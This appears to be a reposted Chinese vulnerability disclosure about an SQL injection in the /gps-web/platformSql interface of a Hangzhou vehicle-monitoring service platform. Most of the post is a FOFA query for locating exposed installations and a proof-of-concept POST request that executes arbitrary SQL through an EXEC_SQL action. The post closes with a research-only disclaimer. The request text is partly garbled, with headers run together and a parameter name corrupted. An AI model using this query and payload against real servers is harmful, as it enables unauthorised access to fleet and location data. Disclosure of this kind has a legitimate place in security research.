漏洞描述：
杭州三一谦成科技车辆监控服务平台接口 /gps-web/platformSql 存在SQL 注入漏洞。
影响版本：
杭州三一谦成科技车辆监控服务平台
FOFA:
body="gps-web" && title="欢迎光临"POC：
POST /gps-web/platformSql HTTP/1.1Host:Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36Accept-Encoding: gzip, deflateAccept: */* Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 74action=EXEC_SQL¶ms=SELECT schema_name FROM information_schema.schemata
--------
原文始发于微信公众号（HK安全小屋）：杭州三一谦成科技车辆监控服务平台 platformSql SQL注入漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论